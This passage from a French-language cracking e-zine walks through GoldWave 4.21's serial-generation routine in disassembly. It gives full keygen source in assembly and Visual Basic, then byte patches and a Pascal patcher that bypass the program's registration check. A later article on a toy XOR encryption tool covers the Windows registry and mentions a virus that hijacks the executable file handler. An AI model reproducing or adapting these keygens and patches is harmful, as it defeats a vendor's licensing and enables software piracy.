:00461B40 0FBE0A                  movsx ecx, byte ptr [edx] -->EDX pointe sur la dernire lettre 
                                                               de EMPER0R, le R ; on place son code
                                                               ascii dans ECX. ECX=52

:00461B43 03C8                    add ecx, eax		   -->Ajoute le nombre de lettre restant
                                                               traiter avec la valeur ascii 
                                                              ECX=52+6=58    

:00461B45 03D9                    add ebx, ecx		    -->On sauvegarde ECX dans EBX

:00461B47 4A                      dec edx		    -->Dcrmente le nombre de lettre.

:00461B48 8BC8                    mov ecx, eax		    -->Sert a tester si il reste des
:00461B4A 83C0FF                  add eax, FFFFFFFF         -->lettres a traiter.
:00461B4D 85C9                    test ecx, ecx             -->Si oui alors on revient en
:00461B4F 75EF                    jne 00461B40 		    -->461B40

Explication:
Additionne la valeur ascii de chaque caractres de First Name avec le nombre de lettre de cette 
chane restant a trait. A la fin de cette boucle quand on a trait toutes les lettres EBX=210

Mme routine pour le Last Name que Pour le Firts Name:

:00461B72 0FBE0A                  movsx ecx, byte ptr [edx] 
:00461B75 03C8                    add ecx, eax
:00461B77 03F1                    add esi, ecx
:00461B79 4A                      dec edx
:00461B7A 8BC8                    mov ecx, eax
:00461B7C 83C0FF                  add eax, FFFFFFFF
:00461B7F 85C9                    test ecx, ecx
:00461B81 75EF                    jne 00461B72

Additionne la valeur ascii de chaque caractre de Last Name avec le nombre de lettre de  
cette chane restant a trait. A la fin de cette boucle quand on a trait toutes les 
lettres ESI=1C5


:00461B83 8B4508                  mov eax, dword ptr [ebp+08] --> Pointe sur EMPER0R

:00461B87 E804DB0600              call 004CF690		    -->Ce call est une fonctions permettant
                                                               de rcuprer la longueur d'une chaine 
                                                               pointe par eax, le rsultat est place dans eax

:00461B8C 8BF8                    mov edi, eax		    -->Le rsultat dans EDI, EDI=7

:00461B8E 8B4508                  mov eax, dword ptr [ebp+08] -->Pointe sur C0RTEX
:00461B91 83C019                  add eax, 00000019	      -->	

:00461B96 E8F5DA0600              call 004CF690		    -->Rcupre la longueur de la chane et 
                                                               la place dans EAX, EAX=6

:00461B9B 03F8                    add edi, eax		    -->Ajoute les longues des chaines, EDI=6+7=D

:00461B9E 8BC7                    mov eax, edi		    -->Place EDI dans EDX
:00461BA0 8BD0                    mov edx, eax		    -->

:00461BA5 C1E204                  shl edx, 04               -->Dplace la valeur de EDX de 4 bits 
                                                               vers la gauche, EDX=D0

:00461BA8 8D1452                  lea edx, dword ptr [edx+2*edx]	-->EDX = EDX+2*EDX
:00461BAB 8D1492                  lea edx, dword ptr [edx+4*edx]	-->EDX = EDX+4*EDX
:00461BAE 8D1492                  lea edx, dword ptr [edx+4*edx]	-->EDX = EDX+4*EDX
:00461BB1 8D1492                  lea edx, dword ptr [edx+4*edx]	-->EDX = EDX+4*EDX

Maintenant EDX = 130B0

:00461BB4 03DA                    add ebx, edx 		    -->Ajoute EBX(210 nombre trouv plus 
                                                               haut lors de la 1ere boucle)  EDX, 
                                                               EBX=210+130B0=132C0

:00461BB9 8BCB                    mov ecx, ebx		    -->Place EBX dans ECX
:00461BBB C1E104                  shl ecx, 04               -->Dplace la valeur de ECX de 4 bits 
                                                               vers la gauche, EDX=132C00

:00461BBE 8D0C49                  lea ecx, dword ptr [ecx+2*ecx]	-->ECX = ECX+2*ECX
:00461BC1 8D0C89                  lea ecx, dword ptr [ecx+4*ecx]	-->ECX = ECX+4*ECX
:00461BC4 8D0C89                  lea ecx, dword ptr [ecx+4*ecx]	-->ECX = ECX+4*ECX
:00461BC7 8D0C89                  lea ecx, dword ptr [ecx+4*ecx]	-->ECX = ECX+4*ECX

Maintenant ecx = 1C157400

:00461BCA 03F1                    add esi, ecx              -->Ajoute ESI(1C5 nombre trouv plus haut 
                                                               lors de la 2eme boucle) a ECX, 
                                                               ESI=1C5+1C157400=1C1575C5

:00461BCC 8BDE                    mov ebx, esi		    -->Met ESI dans EBX

:00461BCE 8D741032                lea esi, dword ptr [eax+edx+32]	-->Initialise esi qui 
                                             va pointer sur le srial


boucle de_division:

:00461BD6 8BC3                    mov eax, ebx		    -->Met EBX dans EAX, intialisation pour la division
:00461BD8 33D2                    xor edx, edx              -->Met EDX a 0
:00461BDA B91A000000              mov ecx, 0000001A	    -->Met 1A dans ecx
:00461BDF F7F1                    div ecx		    -->Divise EAX par ECX le quotient est EAX et le reste dans EDX
:00461BE1 80C241                  add dl, 41		    -->On ajoute au reste 41 (41 est le code ascii de A)
:00461BE4 8BC3                    mov eax, ebx		    -->Replace EBX dans EAX
:00461BE6 8816                    mov byte ptr [esi], dl    -->Esi pointe vers le premier caractres	
:00461BE8 33D2                    xor edx, edx		    -->Remet EDX a 0	
:00461BEA B91A000000              mov ecx, 0000001A	    -->1A dans ECX	
:00461BEF 46                      inc esi		    -->Incrmente l'adresse ou ce trouve le srial
:00461BF0 F7F1                    div ecx		    -->Divise EAX par ECX
:00461BF5 89C3                    mov ebx, eax		    -->Place le quotient dans EBX
:00461BF7 85DB                    test ebx, ebx             -->Teste si ebx different de 0
:00461BF9 75DB                    jne 00461BD6              -->Si oui alors saute en 461BD6



A la sorti de cette boucle ESI pointe sur PTMBRNB, qui est mon code d'enregistrement.
Voil maintenant j'ai absolument tout pour faire mon keygen, je vais essayer de rcapituler 
l'algorithme:

1- Additionne la valeur ascii de chaque caractre de First Name avec le nombre de 
   lettre de cette chaine restant a trait, on appellera cette valeur A

2- Additionne la valeur ascii de chaque caractre de Last Name avec le nombre de *
   lettre de cette chaine qui reste a trait, on appellera cette valeur B

3- Additionne la valeur des longueurs de chaine de First&Last name, 
   on appellera cette valeur C.

4- C est dplace vers la gauche de un octet, c = c & "0"

5- C=C+2*C puis C=C+4*C, C=C+4*C, C=C+4*C

6- C=C+A

7- C est dplace vers la gauche de un octet, c = c & "0"

8- C=C+2*C puis C=C+4*C, C=C+4*C, C=C+4*C

9- C=C+B

10- Divise C par 1Ah et ajoute 41h au rsultat, ce rsultat est le code ascii de 
    la premiere lettre du serial. Le quotient de cette division est place dans C 
    et on recommence cette tape dans c, tant que c est diffrent de 0




Code source d'un keygen en asm, pour des raisons de comprension j'ai gard exactement 
les mme routines utilises par le programme au lieu d'en optimiser certaines. 
Les valeurs sont aussi contenu dans les mme registres. 


;---------------------initialisation de la boite
.386p
Locals
jumps
include w32.inc
.Model Flat ,StdCall

hWnd           	equ 0
IDD_WINDOW     	equ 100			;ID de la boite
firstname	equ 101			;ID du champ Firtsname
lastname	equ 102			;ID du champ Lastname
serial         	equ 103			;ID du champ ou on affichera le serial

.data
myname         	dd 10 dup (?)
myname1		db 10 dup (?)
resulta		db 20 dup (?)
hInst         	dd ?
message        	db 'Enter name!',0
titl        	db 'KeyGen Goldwave 4.2x',0
len1		dd ?
len2		dd ?


.Code
Main:
        push   NULL
        call   GetModuleHandle
        mov    hInst, eax
        push   NULL
        push   offset DlgProc
        push   NULL
        push   IDD_WINDOW
        push   hInst
        call   DialogBoxParamA
        push   NULL
        call   ExitProcess
DlgProc proc uses ebx edi esi, hwnd:DWORD, wmsg:DWORD, wparam:DWORD, lparam: DWORD
       
        cmp    wmsg, WM_CLOSE
        je     wmdestroy
        cmp    wmsg, WM_COMMAND
        je     wmcommand
        xor    eax, eax
        ret

wmdestroy:
        push   NULL
        call   PostQuitMessage
        ret
wmcommand:
        cmp    wparam, 100
        je     wmdestroy
        cmp    wparam, 105
        je     debut
        cmp    wparam, 106
        je     wmdestroy
        ret




;----------------------------------------- dbut de la gnration du serial
debut:
        push   	255
        push   	offset myname
        push   	firstname
        push   	hwnd
        call   	GetDlgItemTextA			;Rcupre la chaine First name
        mov 	len1, eax				;Longueur de la chaine dans EAX
	lea    	edx, myname			;EDX pointe sur La chaine First Name
        cmp    	eax, 00				;Teste si la chaine n'est pas nulle
        je    	pusto				;Si on affiche une msgbox pour avertir l'utilisateur
	
	xor	ecx, ecx			;initialise les registres
	xor	ebx, ebx			;
	dec	eax				;decrmente le nombre de lettre de la chaine

boucle1:
	movsx 	ecx, byte ptr [edx]             ;valeur ascii du premier char dans ecx
	add 	ecx, eax			;ajoute cette valeur a ecx
	add	ebx, ecx			;sauve la valeur de ecx dans ebx

	inc 	edx				;incrmentation du charactre de la chaine
	mov	ecx, eax 			;sauve eax dans ecx
	add	eax, 0FFFFFFFFh			;quivalent a dec eax, dcrmente le nombre 
                                                ;   de charactres a traiter 
	test    ecx, ecx			;teste si il reste d caratres a traiter
	jne 	boucle1				;si oui saute, sinon le rsulta final se trouve dans ebx

	push 	ebx
	push   	255
        push   	offset myname1
        push   	lastname
        push   	hwnd
        call   	GetDlgItemTextA			;Rcupre la chaine Last name
        mov 	len2, eax				;longueur de chaine dans eax
	lea    	edx, myname1			;EDX pointe sur La chaine Last Name
        cmp    	eax, 00				;Teste si la chaine n'est pas nulle
        je    	pusto				;Si on affiche une msgbox pour avertir l'utilisateur



	xor	ecx, ecx			;Initialise les registres
	xor	esi, esi			;
	dec	eax				; dcrmente le nombre de lettre de la chane
	
boucle2:   					;pareil que boucle1 mais les donn le rsultat est dans esi
	movsx 	ecx, byte ptr [edx]
	add 	ecx, eax
	add	esi, ecx	

	inc 	edx
	mov	ecx, eax 
	add	eax, 0FFFFFFFFh
	test    ecx, ecx
	jne 	boucle2

	pop 	ebx				;rsultat boucle1 		
	mov 	edi, len2			;longueur chaine1
	mov 	eax, len1			;longeur chaine1
	add 	edi, eax			;ajoute resultat boucle1 a longueur chaine2
	mov 	eax, edi			;sauvegarde le rsulta de l'opration prcdente dans eax
	mov 	edx, eax			;place cette valeur dans edx
	shl 	edx, 04				;dcale la valeur de 4 bits vers la gauche

	lea 	edx, dword ptr [edx+2*edx]	;quelques oprations sur edx
	lea 	edx, dword ptr [edx+4*edx]	;
	lea 	edx, dword ptr [edx+4*edx]	;
	lea 	edx, dword ptr [edx+4*edx]	;

	add 	ebx, edx			;rsulta des oprations prcdente + longueur chaine1
	mov 	ecx, ebx			;sauvegarde dans ecx
	shl 	ecx, 04 			;dcale la valeur de ecx de 4 bits vers la gauche
	
	lea 	ecx, dword ptr [ecx+2*ecx]	;quelques oprations sur ecx
	lea 	ecx, dword ptr [ecx+4*ecx]	;	
	lea 	ecx, dword ptr [ecx+4*ecx]	;
	lea 	ecx, dword ptr [ecx+4*ecx]	;

	add 	esi, ecx			;rsultat des oprations prcdentes + rsultat boucle2
	mov	ebx, esi			;sauvegarde dans ebx
        mov 	esi, offset resulta		;initialise esi
	
boucle3:	
	mov 	eax, ebx			;met ebx dans ecx
	xor 	edx, edx			;initialise edx a 0 pour la division
	mov 	ecx, 0000001Ah			;place 1a dans ecx, dnominateur
	div 	ecx				;eax modulo ecx
	add 	dl, 41h				;ajoute 41h au reste de la div, 41h='A'
	mov 	eax, ebx			;replace ebx dans eax
        mov 	byte ptr [esi], dl		;esi pointe vers le premier caractre du srial
        	
	xor 	edx, edx			;initialise edx a 0 pour la division
        mov 	ecx, 0000001Ah			;place 1a dans ecx, dnominateur
        inc	esi				;incrmente l'adresse ou ce trouve le serial
        div 	ecx				;eax modulo ecx
        mov 	ebx, eax			;le quotient dans ebx
	test 	ebx, ebx			;teste si quotient est diffrent de 0
	jne	boucle3
	
;----------------------affichage du rsultat

        push   offset resulta
        push   serial
        push   hwnd
        call   SetDlgItemTextA
        ret
;----------------------msgbox 


pusto:  push   20h
        push   offset titl
        push   offset message
        push   hWnd
        call   MessageBoxA
        ret
DlgProc endp
End Main





---------------------------------------------------------------------------------------



Voil c'est tout comment, le code ce comprend sans difficult je pense.
Pour ceux qui on un peu de mal avec l'asm, le keygen peut ce faire aussi facilement en VB:



Dim a As String, i As Byte, j As Byte, b As Variant, c As Variant, d As Variant, e As Variant, 
                                                                     h As Byte, f As String, k As String


Private Sub Command1_Click()

Text1.Text = UCase(Text1.Text)
Text2.Text = UCase(Text2.Text)

If Text1.Text = "" Or Text2.Text = "" Then
    MsgBox "Vous devez remplir les deux champs", vbCritical, "--==GoldWave Keygen==--": Exit Sub

End If
b = 0
For i = 1 To Len(Text1.Text)
a = Mid(Text1.Text, i, 1)
b = b + Asc(a) + (Len(Text1.Text) - i)
Next
c = 0
For j = 1 To Len(Text2.Text)
a = Mid(Text2.Text, j, 1)
c = c + Asc(a) + (Len(Text2.Text) - j)

Next

d = Hex(Len(Text1.Text) + Len(Text2.Text)) & "0"
myhex$ = d
mydec& = Val("&H" & myhex$)
d = mydec

d = d + 2 * d
d = d + 4 * d
d = d + 4 * d
d = d + 4 * d



e = Hex(b + d) & "0"
myhex$ = e
mydec& = Val("&H" & myhex$)
e = mydec

e = e + 2 * e
e = e + 4 * e
e = e + 4 * e
e = e + 4 * e

f = c + e
k = ""
Do While f <> 0
h = (f Mod 26) + 65
f = Int(f / 26)
k = k & Chr(h)
Loop
Text3.Text = k

End Sub

-------------------------------------------------------------------------------------------


Pas besoin de beaucoup d'explication c'est simple (meme si j'ai cod ca comme un porc, avec des 
noms de variables discutables :-) ). J'ai pas optimiser a fond car aprs ca donne des lignes du style:
a = Asc(Mid(Text2.Text, j, 1) + (Len(Text2.Text) - j)) c'est sur c plus impressionnant :) mais ce 
tuto s'adresse aux dbutant. Text1 c'est la ou on entre le First Name et Text2 le Last Name, le serial 
apparaitra dans Text3.

Sinon il faut remplir les 2 champs et les lettres du first & last name doivent tre converti 
en majuscule--> Text1.Text = UCase(Text1.Text) pareil pour text2
Le reste c'est l'application simple de l'algo plus quelques petites astuces pour la conversion de 
nombres hexa en dcimal et inversement.





   
                      ++++ | Partie IV: Le Patch | ++++






     A. Faire accepter tous les serials :
     ___________________________________


Nous avons vu au dbut de ce tuto que si a la sorti du call 00461C14, AL tait gal a 00 alors notre 
code n'est pas valide, si on inverse le saut sa sert a rien car une routine au lancement du logiciel 
teste le serial enregistr dans un fichier .ini. 
Alors, je vais chercher dans le call l'endroit ou AL est mit a 00 :

Quand on entre dans le call 461C14 on voit

* Referenced by a CALL at Addresses:
|:00461A64   , :004623F7   , :004624A3  

Le programme doit certainement ce servir aussi de cette routine pour verifier le serial enregistr 
dans le fichier .ini. Pour en etre sur on pose un breakpoint sur chaqune des 3 adresses qui appele 
ce call, on lance le prog et.... bingo sa break direct.

Je rerentre dans le call et je trace comme un fous car ca ce passe a la fin forcement, apres la 
generation du serial.

Voila tout ce passe l:


:00461C4E 85C0                    test eax, eax
:00461C50 7504                    jne 00461C56
:00461C52 33C0                    xor eax, eax
:00461C54 EB27                    jmp 00461C7D

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00461C50(C)
|
:00461C56 8D45E4                  lea eax, dword ptr [ebp-1C]
:00461C59 8BD6                    mov edx, esi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00461C75(C)
|
:00461C5B 8A08                    mov cl, byte ptr [eax]
:00461C5D 3A0A                    cmp cl, byte ptr [edx]
:00461C5F 7516                    jne 00461C77
:00461C61 84C9                    test cl, cl
:00461C63 7412                    je 00461C77
:00461C65 8A4801                  mov cl, byte ptr [eax+01]
:00461C68 3A4A01                  cmp cl, byte ptr [edx+01]
:00461C6B 750A                    jne 00461C77
:00461C6D 83C002                  add eax, 00000002
:00461C70 83C202                  add edx, 00000002
:00461C73 84C9                    test cl, cl
:00461C75 75E4                    jne 00461C5B

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00461C5F(C), :00461C63(C), :00461C6B(C)
|
:00461C77 0F94C0                  sete al
:00461C7A 83E001                  and eax, 00000001

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00461C54(U)
|
:00461C7D 5F                      pop edi
:00461C7E 5E                      pop esi
:00461C7F 5B                      pop ebx
:00461C80 8BE5                    mov esp, ebp
:00461C82 5D                      pop ebp
:00461C83 C3                      ret


[ Explications ]

Normalement quand jarrive en 461C4E, AL est egal a 01, dans le cas ou mon serial est bidon 
ou meme si il est valide (je n'est pas regard dans quel cas al peut valoir 00 ici).
Al est egal a 01 et le saut en 461C50 ce fait. A la ligne 461C5D et 461C68 on compare 
letre par letre le serial gnr par le prog et le serial que l'on a entr. 
En 461C75 le saut permet de faire une boucle pour tester tout les caractres. 

Si un caractres est incorect au saute direct en 461C77
SETE: initialisation  1 si CF=0 et ZF=1, dans ce cas CF et ZF=0 alors al ne pourra
pas etre initialis a 01.

Si notre serial est corect (cartres identiques au srial gnr) alors CF=0 et ZF=0,
donc al est initialis a 01 grace a SETE.

Voila on peut patcher sa de multiple facon, la facon la plus simple est la plus logique 
serait de remplacer le SETE par SETA
(SETA: initialisation  1 si CF et ZF sont  0)
Le problme c'est que le programme apres compare notre serial avec son serial gnr, 
donc si la premire fois le SETA nous met bien AL a 01, il nous le met a 00 lors du 
deuxime test. 

La deuxieme facon qui est a mon avis la plus simple et la plus logique est de remplacer 
le jne 00461C56 a la ligne 461C50, par un jmp 00461C7D. Cette solution modifie que 2 octets 
je pense que c'est la plus simple. Le 7504, a la ligne 00461C50 offset 61250, devient EB2B
On fait les modif, on efface les infos que contienne First Last & Password, 
dans c:\windows\goldwave.ini si il y en a, puis on entre n'importe quel: First name, 
Last name et password et sa marche, on relance le prog et c'est bon on est register.
Cette modif permet de faire accepter nimporte quel srial.







	
	B. Enregistrer le prog sans entrer de serial :
        ______________________________________________


On efface les infos que contienne First Last & Password, dans c:\windows\goldwave.ini 
si il y en a, pour etre sur que notre technique marche.

Le prog voit si on est register ou si le code est correct quand a la sortie du call 00461C14 
il voit AL=01. Alors on entre dans ce call et on modifi les 3 premiers octets du call par:

Mov AL,01
RET

C'est extrement bourrin mais aussi extrement efficasse :)

/!\Attention quand meme avec cette technique de bourrin elle peut poser des problmes sur 
certain prog, le call peut etre nessssaire pour d'autre chose dans certaint cas.

Le prog rentre dans le call, on met 01 dans AL et le RET le fait sortir de suite :)
On modifie a l'offset 61214: 558BEC par B001C3

 
Code de ce patch en pascal, merci la shmeitcorp(RIP) pour cette source:


Program crackpatch;                  
Uses Crt;                            

Const A: Array[1..3] of Record       	;3=nombre d'octet a modifier


A : Longint;  
B : Byte;     
End =         
(             

(A:$61214;B:$B0), 			;offset et valeur  
(A:$61215;B:$01),   			;a remplacer pour
(A:$61216;B:$C3)			;chaque octet

);                         
Var                        
  Ch:Char;                 
    I:Byte;               
    F:File;                
    FN:file of byte;       
    Size:longint;          
Procedure Presentation;    
Begin                      
  Gotoxy(2,3);            

Textcolor(3); 

  Writeln('');
  Writeln('cRACk f0R     : Goldwave 4.21');
  Writeln('cRACK3D bY    : Emper0r');
  Writeln('');
  Writeln('');
  Writeln('gR33TiNG      : Dr. Raoul Duke et Maitre GonZo !');
Writeln ('');
Writeln (''); 

end;                       
Begin                      
 Presentation;             
 
Assign(F,'GOLDWAVE.EXE');   		;nom du prog a patcher

{$I-} Reset(F,1); {$I+}             
 If IOResult <> 0 then              
   begin                            

      writeln('fILE n0T f0UnD!');  

       halt(0);             
    end;                   


 For I:=1 to 3 do         
                         
 Begin                      
  Seek(F,A[I].A);          
  Ch:=Char(A[I].B);        
  Blockwrite(F,Ch,1);      
 End;                      


 Writeln('cRACk SuCc3sSfUL !!!!'); 

End.     
   







[ Conclusion ]


Ca y est mon tuto est fini merci a ceux qui on lut jusqua la fin ;) j'espre que que 
ce tuto aura appris quelque chose  quelqu'un. A oui et aussi pardon pour les 351 
fautes d'orthographes qu'il contient :)

                                                           Emper0r



-Remerciements en vrac a: MrPhillex, Christal, Slash, eldre8, Fistfucker, yopjen, 
 Morgatte, spud, TipaX, SNY, R!SC, TaMaMBoLo, [k], YoLeJedi, Neo Fox, Lex Icon, 
 DarK_DreaM, Seiferis, Slider, The Analyst, la team 29A, la shmeitcorp, millarness, 
 Factitius, Dr. Raoul Duke & Maitre GonZo.

-Mais aussi: tous mes potes, tous ceux que je ne peut malheuresment pas citer pour 
 certaines raisons qui font que ...., tout ceux qui font un petit qq chose pour
 'l'underground', tous ceux que j'ai oubli.


-Big Fuck : A ceux qui critiquent au lieu de partager, a tout les lamerz qui polluent
 le net et ne font que des conneries (ex: ceux qui utilisent d generateurs de worms sans 
 comprendre et les lachent dans la nature, voir VBS.annaKournicova).
































-------------------------------------------------------------------------------------------
III.                      Crypto : Penelope                              par Androgyne 
-------------------------------------------------------------------------------------------

                  ++++++++++++++++++++++++++++++++++++
                  +++ Fichier Joint : penelope.zip +++
                  ++++++++++++++++++++++++++++++++++++


[ Sommaire ]

Introduction
Gnralits - FAQ
    Comment a marche ?
    Pourquoi l'avoir fait ?
    Pourquoi ce nom ?
    Quel est le cryptage utilis ?
La base de registre
    Hirarchie
    HKEY_LOCAL_MACHINE\Software
    Application
Les autres points de Penelope
    Botes de dialogue
    Le gnrateur de nombre pseudo-alatoire
    Le file mapping
Comment avoir de l'ordre en asm...
Conclusion


[ Introduction ]

    Penelope est un programme de cryptage... Mais ce n'est pas la fonction de
cryptage qui est intressante ici, j'ai utilis un simple cryptage xor sur 32
bits. Ce qui va faire l'objet de cette article, c'est toutes les choses que
j'ai apprises en programmant Penelope. C'est un article un peu fourre tout
mais il est fondamentalement li  Penelope.





[ Gnralits - FAQ ]

*** Comment a marche ? ***

    J'ai essay de faire une interface la plus simple possible. Je crois
qu'on ne peut pas faire moins... L'interface se prsente avec une bote de
dialogue. L, vous pouvez entrer le nom du fichier que vous voulez crypter
(il doit tre dans le mme rpertoire que Penelope), et vous appuyez sur
'Cipher'. Penelope gnre alors un fichier ayant pour nom
nomentierdufichier.xor, qui est la forme crypte. Pour dcrypter le fichier,
on fait la mme chose en appuyant sur 'Decipher'. Si le nom du fichier
termine par .xor, Penelope va gnrer le nouveau fichier en enlevant
l'extension xor, sinon, une bote de dialogue apparat pour vous demander le
nom du fichier une fois dcrypt. Il y a quelques petits plus amusants : vous
pouvez associer l'extension xor avec Penelope (dans 'Options'), et alors, ds
que vous cliquez sur un fichier ayant l'extension xor, Penelope est lance
automatiquement et initialise le nom du fichier. Vous pouvez galement faire
un fichier de configuration qui enregistrera des donnes trs prcieuses
(voir plus loin)...


*** Pourquoi l'avoir fait ? ***

    J'en sais rien... Pour m'amuser. Certains vont dire "Pourquoi se faire
chier  le faire en asm alors qu'il serait plus facile de le faire en C++ ou
en Delphi ?"... Oui, c'est vrai mais je prfre l'asm et c'est mon choix
<insrer ici la musique de "C'est mon choix">. Tout met plus de temps  faire
en asm mais je trouve a tellement plus excitant...


*** Pourquoi ce nom ? ***

    Pourquoi pas ce nom... Je trouve que donner des prnoms aux programmes
les rend un peu plus vivants. Alors, cette fois, c'est Penelope, une autre
fois, ce sera un autre prnom :) Si vous avez des prfrences, crivez moi
(prnom fminin uniquement).


*** Quel est le cryptage utilis ? ***

    C'est un simple cryptage xor (agrment de quelques autres instructions
du style rol/ror) avec plusieurs cls, toutes 32 bits. Ce n'est pas trs
secure mais ce n'est pas le but (un jour si j'ai le temps, j'implmenterai
un codage RSA). En fait, il y a trois cls : la cl du programme, c'est une
cl fixe dans le programme ; la cl de l'utilisateur, elle est tire au
hasard  la premire utilisation de Penelope ; la cl du fichier, elle est
tire au hasard pour chaque fichier. Comment ces cls sont-elles utilises ?
L'ide, c'est qu'on ne va pas mettre la cl du fichier directement avec le
fichier donc, on la crypte avec la cl de l'utilisateur et on la met avec le
fichier... Voil pourquoi la cl de l'utilisateur est choisie une fois pour
toute au dbut. Et voil  quoi sert le fichier de configuration... Elle sert
 stocker la cl de l'utilisateur. Mais l encore, on ne la stocke pas telle
quel, on la crypte avec la cl du programme qui elle est fixe... Vous me
direz "Si on connait la cl du programme, on peut avoir la cl de
l'utilisateur et alors, on dcrypte tous les fichiers...". Bien sr mais vous
ai-je dit que ce programme n'tait pas trs puissant pour le cryptage ?



[ La base de registre ]

    J'ai abondamment utilis la base de registre dans ce programme, ce qui
m'a permis d'en apprendre un peu plus sur cet lment Windowsien un peu
obscur pour le commun des utilisateurs moyens... Un peu d'histoire tout
d'abord : au dbut,  l're prhistorique du DOS, pour pouvoir garder des
configurations d'utilisateurs, on avait des fichiers de configuration (les
fichiers INI). Remarquez que ces fichiers existent toujours et que l'on peut
toujours s'en servir (voir article sur les INI dans hccc#6
[http://www.multimania.com/hccc]). Mais l'arrive de Windows 3.1 a marqu
l'arrive de la base de registre (registry en anglais) pour remplacer les
fichiers INI. Au dpart, on ne pouvait pas stocker beaucoup de choses dans le
registre, uniquement des chanes de caractres, c'tait un peu la misre...
Puis avec les Win9x, on a pu faire plus de choses avec le registre et son
utilisation s'est gnralise. La documentation de Windows incite d'ailleurs
 abandonner l'utilisation des INI pour lui prfrer celle du registre.


*** Hirarchie ***

    Le registre marche avec un systme de cl et une hirarchie en
rpertoire... Vous pouvez avoir un aperu de cette hirarchie en tapant
regedit dans 'Executer...'. regedit est l'diteur de registre, vous pouvez
modifier le registre directement  partir de l. Mais attention !!! Des
modifications  tout va peuvent causer des dommages irrversibles sur ce
pauvre Windows qui a dj bien du mal  fonctionner tout seul :) .
    Dans cette hirarchie, il y a principalement 4 cls  la racine :
    - HKEY_CLASS_ROOT : c'est un raccourci pour la cl
      HKEY_LOCAL_MACHINE\Software\Classes, on va y revenir longuement dans la
      suite...
    - HKEY_CURRENT_USER : c'est un raccourci pour HKEY_USERS\<utilisateur>...
    - HKEY_LOCAL_MACHINE : cette cl contient pleins d'informations sur la
      machine sur laquelle est install Windows. On va s'intresser plus
      prcisment  la sous cl Software dans la suite...
    - HKEY_USERS : c'est la cl o sont stock les configurations de tous les
      utilisateurs de la machine.
    Ces 4 cls sont ouvertes en permanence. On peut donc y accder quand on
veut. Pour pouvoir accder  des sous cls, il faut ouvrir ces sous cls
(fonction RegOpenKey). Chaque cl peut contenir elle mme une valeur (appele
default dans regedit) ou contenir des autres valeurs associes  des noms
plus prcis.

    Je me suis particulirement intresse  la sous cl Software de
HKEY_LOCAL_MACHINE...


*** HKEY_LOCAL_MACHINE\Software ***

    L, on a deux types de sous cls. Tout d'abord, il y a les sous cls cr
par la plupart des logiciels installs sur votre PC. Gnralement, la sous
cl contient le nom de la socit qui produit le logiciel (Exemples : Adobe,
Netscape, Microsoft, Logitech...), et cette sous cl contient des sous cls
avec le nom des logiciels de cette socit (Exemple pour Adobe : Acrobat
Reader, Photoshop). C'est ici que sont stocks les numros de version, la
configuration, etc... des logiciels de votre PC. Vous pouvez fouillez un peu
la dedans, c'est parfois trs instructif :)
    Le deuxime type de cl est la cl Classes. On peut y accder directement
ds la racine par HKEY_CLASS_ROOT. Ici sont dfinis les types et classes de
documents existant sur votre PC. L encore, il y a deux types de sous cl :
    - les cls extensions : elles se trouvent toutes au dbut et ont la forme
      '.ext'. Ces cls dfinissent  quelle classe appartiennent les fichiers
      portant l'extension 'ext' (Exemple : '.zip' appartient  la classe
      Winzip, '.txt'  la classe txtfile)
    - les cls classes : Ces cls servent  dfinir les fichiers de cette
      classe. La valeur de ces cls est une description du type du fichier
      (Exemple pour txtfile : 'Document texte'), c'est l'information qu'on
      peut voir en faisant 'Proprits' en face de type. Chaque cl classe
      contient gnralement une sous cl 'Shell' qui donne des informations
      sur l'application qui interprte les fichiers de cette classe ; 'Shell'
      contient gnralement deux sous cls 'open' et 'print' qui ont la mme
      structure, une sous cl 'command' qui a pour valeur la ligne de
      commande  envoyer quand on clique sur ce type de fichier (%1 remplace
      comme en batch le premier argument, c'est  dire ici le fichier sur
      lequel on a cliqu). Exemple : "C:\WINDOWS\NOTEPAD.EXE %1". La cl
      classe  parfois une sous cl 'DefaultIcon' qui contient un chemin
      jusqu' l'icne utilise pour ce type de document.

    Donc, rsumons :

HKEY_LOCAL_MACHINE\Software
  + CompanyName1
  |   + ProductName1
  |   + ProductName2
  + CompanyName2
  |   + ProductName1
  + RtC
  |   + Penelope
  |   |   [Owner Key] -> xxxxxxxx
  |   .   [Rand Seed 1] -> xxxxxxxx
  .       [Rand Seed 2] -> xxxxxxxx
  .
  |
  + Classes
  |  + .txt -> txtfile
  |  + .xor -> xorfile
  |  +
  |  .
  |  .
  |  + txtfile -> "Document Texte"
  |  |  + shell
  |  |  |  + open
  |  |  |  |  + command -> "C:\WINDOWS\NOTEPAD.EXE %1"
  |  |  |  + print
  |  |  |     + command -> "C:\LINUX\NOTEPAD.EXE /p %1"
  |  |  + DefaultIcon -> "......"
  |  + xorfile -> "Fichier XOR"
  |  |  + shell
  |  |  |  + open
  |  |  |     + command -> "....\penelope.exe %1"
  |  |  + DefaultIcon -> "....\penelope.exe,1"
  .  .

etc...

    Je n'ai pas mis .xor et xorfile par hasard car c'est de cette faon que
je dclare Penelope en tant qu'interprteur de fichiers xor. J'en profite
pour dclarer l'icne associe au type de fichier xor (vous avez vu, je me
suis clate sur les icnes). J'ajoute galement la valeur AlwaysShowExt dans
la cl xorfile pour toujours voir l'extension mme quand on a coch l'option
'Cacher les extensions des fichiers dont le type est connu', ce qui a valu 
un clbre ver de se propager avec amour sur les 3/4 de la plante :)


*** Application ***

    Pour manipuler des cls et des sous cls dans le registre, on utilise des
fonctions de l'API Windows. Toutes ces fonctions commencent par Reg. Allez
voir dans les sources de Penelope pour voir plus prcisment un exemple
d'application. Les descriptions de ces fonctions sont dans tous les win32.hlp
qui se respectent. Vous pourrez y trouver aussi des informations
complmentaires sur le registre.
    On m'a galement parl, il y a peu, d'un virus trs astucieux qui
utilisait le registre. Il se copiait dans le rpertoire Recycled (c'est la
corbeille) et se dclarait en tant qu'interprteur de fichiers excutables...
Consquence : si on l'efface, impossible d'excuter quoi que ce soit. Il en
profitait pour infecter tous les excutables sans aucun effort de
recherche...
    Conclusion : Le registre de Windows est une ide qui pour une fois n'est
pas dnue de bon sens. Mais le registre est  mon avis un point faible de
Windows. Rien n'empche quelqu'un de tout supprimer dans le registre et
alors, bonjour les dgts...



[ Les autres points de Penelope ]

*** Botes de dialogue ***

    Pour faire des botes de dialogues, c'est tout simple. Je vous renvoie
ici  l'article que j'ai crit dans hccc#6 (voir adresse plus haut) pour
